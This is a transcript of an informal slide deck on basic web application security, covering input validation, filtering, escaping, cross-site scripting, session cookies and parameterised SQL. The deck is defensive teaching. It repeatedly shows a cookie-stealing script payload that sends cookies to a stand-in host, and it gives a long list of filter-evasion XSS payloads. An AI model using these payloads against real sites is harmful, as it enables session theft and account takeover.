Basic Web Application Security. User Input Kick Your Arse.

Post on 22-Dec-2015

215 views 0 download

transcript

Basic WebApplication

Security

User Input

Kick Your Arse

Three Ways(All Awesome)

Validation

Passive(No touchy-touchy)

This is a Number.

2

This is not a Number.

a

This is really not a Number.

<script>alert(‘loldongs’)</script>

Filtering

Destructive(One-Way Street)

Only letting the good stuff in.

or

Keeping out the bad stuff.

What’s the diff?(Bro.)

Both can be error-prone...

White-Listing Usability Problems

What happens whenyou screw it up?

Black-Listing Security Problems

(Always a trade-off.)

Escaping

TransportPoint A Point B

Data will be the same on both

sides.

Different Media,Different Escaping

HTML

<b>Huh.</b>

<p><i>&lt;b&gt;Huh.&lt;/b&gt;</i></p>

<b>Huh</b>

SQL

Sam O’Brien

INSERT INTO mah_peeps (name)VALUES (‘Sam O\’Brien‘);

1, Sam O’Brien, 2010-09-02 18:30:00

XSS(Cross-Site Scripting)

(XTREME Site Scripting)

SS

Sticking Scripts Where They

Don’t Belong.You there, down the back.

Stop sniggering.

<script>alert(‘HACKED BY LOLDONGS’)

</script>

Amateurs!

<script>alert(document.cookie)

</script>

Hmm.

<script>document.write(‘<img

src=“http://badguys.net/logthis.php?d=‘+document.cookie+’”

style=“display:none;”>’);</script>

Oh shit.

Why is this uncool?

(Yeah! Why?)

<script>document.write(‘<img

src=“http://badguys.net/logthis.php?d=‘+document.cookie+’”

style=“display:none;”>’);</script>

Ooooh shit.

<script>document.write(‘<img

src=“http://badguys.net/logthis.php?d=‘+document.cookie+’”

style=“display:none;”>’);</script>

Oooooooooooh shit.

<script>document.write(‘<img

src=“http://badguys.net/logthis.php?d=‘+document.cookie+’”

style=“display:none;”>’);</script>

Oooooooooooooooooh shit.

Why is this really uncool?

(Because shut up.)

HTTP

Hyper-Text Thingy I-forgot-again

Stateless

No Idea Who You Are.

It can guess.(Badly.)

IP AddressBrowser User-Agent

Sends a cookie with each request.

(A basket of goodies that the browser sends faithfully every

request.)

The Server puts a unique ID in

the basket.PHPSESSID=123your456mum

789__utma=12948.23.4211414.5

553is_a_furry=1

Browser sends the ID every

request.

PHPSESSID=123your456mum789

<script>document.write(‘<img

src=“http://badguys.net/logthis.php?d=‘+document.cookie+’”

style=“display:none;”>’);</script>

Look again.

THEY HAVE YOUR COOKIE.

Ooooooooooooooooooooooo-

Preventing Shenanigans

HTML

Validation Really Hard.

HTML

Filtering Still Really Hard.

Use a library, eg. HTML Purifier.

HTML

Escaping Dead Easy.

Most languages have stuff to handle this, eg.

htmlentities(), cgi.escape(), CGI.escape()

How hard is filtering?

(It’s just <script>, right?)

THIS HARD.

<IMG SRC=javascript:alert('a')>

<img src=javascript:alert(&quot;a&quot;)>

<img “””><script>alert('a')</script>”>

<IMG

SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;

&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#11

4;

&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG

SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72

&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72

&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<IMG SRC="jav ascript:alert('a');“>

(Well, then.)

<IMG SRC="jav&#x09;as&#x09cript:alert('XSS');">

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

<SCR\0IPT>alert('a')</SCR\0IPT>

<SCRIPT/a SRC="http://foo/x.js"></SCRIPT>

<img onmouseover!#$%&=alert('a')>

<<SCRIPT>alert("a");//<</SCRIPT>

<SC<SCRIPT>RIPT>alert('a');</SC</SCRIPT>RIPT>

<SC\0RIPT SRC=http://foo/x.js?<B>

<script src=//foo/x.js>

<img src=”javascript:alert('a')”

THIS HARD.

<iframe src=http://foo/x.html <

<body background=”javascript:alert('a')”>

<BODY ONLOAD=alert('a')>

<img dynsrc=”javascript:alert('a')”>

<img lowsrc=”javascript:alert('a')”>

<BGSOUND SRC=javascript:alert('a')>

<BR SIZE=”&{alert('a')}”>

<LAYER SRC=”http://foo/x.html”></LAYER>

<link rel=”stylesheet” href=”javascript:alert('a');”>

<XSS STYLE="behavior: url(xss.htc);">

<STYLE>BODY{-moz-binding:url("http://foo/

x.xml#xss")}</STYLE>

(Well, then.)

<IMG SRC='vbscript:msgbox(“a”)'>

<img src=”livescript:alert('a')”>

žscriptualert(EXSSE)ž/scriptu (US-ASCII encoding evasion)

<META HTTP-EQUIV=”refresh”

CONTENT=”0;url=javascript:alert('a');”>

<META HTTP-EQUIV="refresh"

CONTENT="0;url=data:text/html;base64,

PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

<FRAMESET><FRAME

SRC="javascript:alert('XSS');"></FRAMESET>

<TABLE BACKGROUND="javascript:alert('XSS')">

THIS HARD.<DIV STYLE="background-image:

url(javascript:alert('a'))">

<DIV STYLE="background-image:\0075\0072\006C\0028'\

006a

\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\

0061

\006c\

0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\

0029">

<DIV STYLE="background-image:

url(&#1;javascript:alert('a'))">

<DIV STYLE="width: expression(alert('a'));">

<STYLE>@im\port'\ja\vasc\ript:alert("a")';</STYLE>

<IMG STYLE="xss:expr/*XSS*/ession(alert('a'))">

exp/*<A

STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/

*/pression(alert("a"))'>

<STYLE TYPE="text/javascript">alert('a');</STYLE>

(Well, then.)

<STYLE>.x{background-

image:url("javascript:alert('a')");}</STYLE><A

CLASS=X></A>

<BASE HREF="javascript:alert('a');//">

<OBJECT TYPE="text/x-scriptlet"

DATA="http://foo/x.html"></OBJECT>

<EMBED SRC="http://foo/xss.swf"

AllowScriptAccess="always"></EMBED>

<EMBED

SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzd

....jwvc3ZnPg=="

type="image/svg+xml"

AllowScriptAccess="always"></EMBED>

<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><!

[CDATA[cript:alert('XSS');">]]>

</C></X></xml><SPAN DATASRC=#I DATAFLD=C

DATAFORMATAS=HTML></SPAN>

One more thing about XSS.

(Groan.)

Remember <script>alert()</script>

?

(Yes, I do. Shut up.)

alert() can be ANY JAVASCRIPT.

(Yes, and...?)

Do you have any forms on your page?

(Yes.)

Do you have any javascript functions your site uses to do anything

useful?

(... Yes.)

Do your site make any AJAX calls to do anything useful?

(... Oh.)

That injected code can trigger forms, run

javascript functions, or make AJAX calls.

(... Oooooh.)

Send someone to a link that looks like:

http://my.site/?user=<script>doStuff();</script>

(... Oooooooooh.)

Or store something that will output this on someone’s profile

page:

<script>doStuff();</script>

(... Oooooooooooooooh.)

... And you’re hosed.

(Shit.)

The Human Element

Touchy-Feely Commie Bullshit.

We are very fallible.

We will forget things.

When time gets short, we take the easy path.

Design systems so that they naturally

encourage security.

SQL

Insert(“INSERT INTOposts VALUES

(‘”.sql_safe($title).”’, ‘“.sql_safe($content).”’,

‘”.sql_safe($author).”’)”);

SQL

or

SQL

insert(“INSERT INTOposts VALUES

(:title, :content, :author)”,$title, $content, $author);

HTML

<h3><%= title %> - <%= date %><h3><div><%= raw(post_body) %></div><p>Written by <%= author %></p>

HTML

or

HTML

<h3><?=htmlentities($title);?> - <?=htmlentities(date);?><h3>

<div><?=$post_body;?></div><p>Written by <?

=htmlentities($author);?></p>

Questions?

Now get out.